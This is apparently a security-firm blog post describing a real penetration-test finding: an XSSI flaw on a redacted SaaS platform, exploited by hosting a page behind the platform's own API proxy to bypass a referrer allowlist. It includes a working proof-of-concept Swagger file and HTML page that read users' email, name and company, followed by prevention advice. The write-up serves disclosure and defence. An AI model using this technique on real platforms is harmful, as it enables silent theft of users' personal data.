Inside a Real XSSI Exploit on a Shared Domain Platform

PUBLISHED:
September 2, 2025
|
BY:
Abhishek P Dharani

Inside a Real XSSI Exploit on a Shared Domain Platform

An exploration into how shared domain scopes, dynamic JS files, and weak referrer-based access controls can be chained into a practical and stealthy XSSI exploit.

During a security engagement on REDACTED-ORG's XYZ platform, we uncovered a creative Cross-Site Script Inclusion (XSSI) vulnerability. The issue stemmed from a dynamic JavaScript file that exposed user data post-authentication, coupled with an overly permissive and easily bypassed referrer validation.

While the system attempted to restrict access via the Referer header, the existence of a proxying mechanism under the same domain (*.redactedorgtest.net) enabled us to serve malicious HTML from a trusted subdomain, bypassing the restriction entirely.

This post walks through the investigation, the core weaknesses, the exploit chain, and the recommendations to avoid such issues.

Table of Contents

  1. Environment overview
  2. Discovery phase: Sensitive data in JS
  3. Initial exploit attempt: Basic XSSI
  4. API center as the unwitting ally
  5. Exploit Construction
  6. What we learned during this chaos
  7. Conclusion
  8. Further reading

Environment overview

REDACTED-ORG’s XYZ platform is a feature-rich SaaS ecosystem with multiple services interconnected via a central user authentication and navigation system.

Key hosts involved:

Session Scoping

Once a user logs in to platform.redactedorgtest.net, the authentication cookie (session) is scoped to .redactedorgtest.net. This is expected, as it allows other services under that domain to share session state. However, this opens a door to abuse if any subdomain can serve malicious content or be misused to bypass domain-level controls.

Discovery phase: Sensitive data in JS

After login, we examined JS resources loaded on the dashboard. A key discovery:

Black Code Box
GET https://platform.redactedorgtest.net/unified-nav.js

This JavaScript file included a globally scoped variable:

Black Code Box
var intercomSettings = { email: "user@example.com", name: "John Doe", company: { name: "REDACTED CORP" }, ... };

This file is dynamically generated and contains Personally Identifiable Information (PII) for the logged-in user. While dynamic JS isn't unusual, exposing this data without strict access control is dangerous.

Initial exploit attempt: Basic XSSI

We attempted to include the JavaScript in a foreign-origin page using:

Black Code Box
<script src="https://platform.redactedorgtest.net/unified-nav.js"></script>

Expectation: The browser fetches the JS file, executes it, and the malicious page reads intercomSettings.

Reality:
We hit a 403 Forbidden response with an "Unsupported Hostname" error. This indicated some form of origin-based validation.

Digging Deeper: Referrer-Based Filtering

We ruled out the Host header — the error wasn't due to a mismatched Host. The suspicion fell on the Referer header.

Observations:

  • When visiting the JS file directly from a valid REDACTED-ORG subdomain, the JS loaded fine.

  • When loading it from an external domain (e.g., attacker.com), it failed with the "Unsupported Hostname" error.

  • Changing the Referer header manually to a subdomain of redactedorgtest.net made the request succeed.

Conclusion: The file was protected only by a referrer allowlist.

This created a classic XSSI opportunity — all we needed was a way to serve our malicious page under a valid subdomain of .redactedorgtest.net.

Unsupported Host based on Referer Header

API center as the unwitting ally

The host apicentral.qa.xxxx.redactedorgtest.net offers an API Proxy feature where users can upload Swagger/OpenAPI definitions. The platform then creates reverse proxy endpoints on its own subdomains like:

Black Code Box
https://<random-id>.apiconsumer.qa.xxxx.redactedorgtest.net/

This means:

  • We could host malicious HTML files behind these proxy URLs.

  • The proxy itself is a trusted subdomain under .redactedorgtest.net.

  • Browser requests from this origin would satisfy the referrer check.

This gives us the perfect delivery vector!

Exploit Construction

Step 1: Craft the Swagger File

We crafted a minimal Swagger file pointing to a free HTML hosting service (000webhostapp.com):

Black Code Box
{ "swagger": "2.0", "info": { "title": "XSSI POC", "version": "1.0.0" }, "host": "apoctrial.000webhostapp.com", "basePath": "/xssi-poc.html", "schemes": ["https"] }

Step 2: Host the Payload

On https://apoctrial.000webhostapp.com/xssi-poc.html, we hosted:

Black Code Box
<!DOCTYPE html> <html> <head><title>XSSI PoC</title></head> <body> <script src="https://platform.redactedorgtest.net/unified-nav.js"></script> <script> document.write("<h1>Email: " + intercomSettings.email + "</h1>"); document.write("<h2>Name: " + intercomSettings.name + "</h2>"); document.write("<h3>Company: " + intercomSettings.company.name + "</h3>"); </script> </body> </html>

Step 3: Deploy Proxy

After uploading the Swagger file, we received a proxy URL like:

Black Code Box
https://test-e4e2d80671f5c19f017203726d37024d.apiconsumer.qa.xxxx.redactedorgtest.net/xssi-poc.html

This proxy fetched our hosted POC and served it under a valid .redactedorgtest.net subdomain.

Exploitation

Now, when a logged-in user visits this proxy URL:

  1. The malicious HTML loads.

  2. It fetches unified-nav.js with a valid Referer.

  3. The JS loads successfully, exposing intercomSettings.

  4. The attacker extracts user PII silently — no XSS required, no alert popups, just quiet data theft.

What we learned during this chaos

Conclusion

This case study highlights how even well-meaning architectural decisions - like dynamic JS and centralized proxying - can backfire if not rigorously secured.

XSSI is often overlooked because it's quiet. There's no alert box, no DOM injection. But in the right context, it’s every bit as dangerous as traditional XSS, especially when it can leak auth-scoped data silently.

And what if there’s an easy way to keep up with stealth attacks like XSSI before they hit production?

You don’t have time to hunt for hidden risks after they’re exploited. With we45, you uncover issues like weak trust boundaries, proxy abuse, and quiet data leaks early - when they’re cheaper to fix and before they become breaches.

Let’s talk about securing your architecture.

Further reading

FAQ

What is Cross-Site Script Inclusion (XSSI)?

XSSI is a client-side attack where an attacker loads a legitimate JavaScript file from a trusted site into a malicious page. If the JS file exposes sensitive variables or data, the attacker can steal it without needing traditional XSS. Unlike classic script injection, XSSI abuses how browsers include scripts.

How is XSSI different from XSS?

XSS injects malicious code into a trusted site. XSSI piggybacks on trusted JavaScript files already hosted by the target. In XSSI, the attacker does not inject code but instead tricks the browser into executing a sensitive file in a hostile context.

Why is storing PII in JavaScript files risky?

When user data is embedded directly into dynamically generated JavaScript files, any page that can load those files can expose that data. If access control is weak, attackers can silently capture personal information like emails, names, or company details.

How does referrer-based access control fail in practice?

Referrer checks rely on the Referer header to validate where a request came from. Since this header can be spoofed or satisfied by hosting malicious code under a trusted subdomain, it is not a strong defense. Attackers can abuse proxies or subdomains to bypass this control.

What role did the proxy server play in this exploit?

The API Center’s reverse proxy let users host files under a subdomain of the target’s domain. This meant attackers could serve malicious HTML from a trusted origin. When that page requested sensitive JavaScript, the weak referrer checks passed, and user data leaked.

Can XSSI attacks work without JavaScript injection?

Yes. XSSI does not require injecting code into the target site. The attacker only needs the victim’s browser to load the vulnerable JS file in a malicious context. This makes XSSI quieter and harder to detect than XSS.

How can organizations prevent XSSI attacks?

Best practices include: Do not store sensitive data in inline or dynamic JavaScript files. Use authenticated API endpoints with token-based access. Scope cookies and sessions to specific domains rather than broad wildcards. Avoid referrer-based validation; rely on the Origin header instead. Lock down proxy services and validate uploaded specifications before allowing routing.

What makes XSSI a stealthy exploit?

There are no alert boxes or broken pages. From a user’s perspective, nothing unusual happens. But in the background, sensitive data is silently exposed to the attacker. Because there is no script injection on the original application, many security tools overlook it.

What types of companies are most exposed to XSSI?

Organizations running large SaaS platforms with many subdomains, shared session cookies, and centralized proxies are at higher risk. Complex service meshes often introduce trust assumptions that attackers can exploit.

Is XSSI considered as serious as XSS?

Yes. While it does not modify the DOM directly, XSSI can exfiltrate authentication-scoped data. In scenarios where exposed JavaScript includes tokens or user PII, the business impact is equivalent to an XSS-driven data breach.

Abhishek P Dharani

I break things, find bugs, and make security engineers sweat (in a good way). As a Senior Security Engineer at we45, I hunt vulnerabilities, chain exploits, and automate away the boring stuff. If your app has a security flaw, I’ll spot it before attackers do. Off the clock, you’ll find me smashing shuttlecocks, chasing bug bounties, or trekking into the wild. I love cloud security, hacking challenges, and a good game (virtual or real). Also, cats and techno music. Priorities.
View all blogs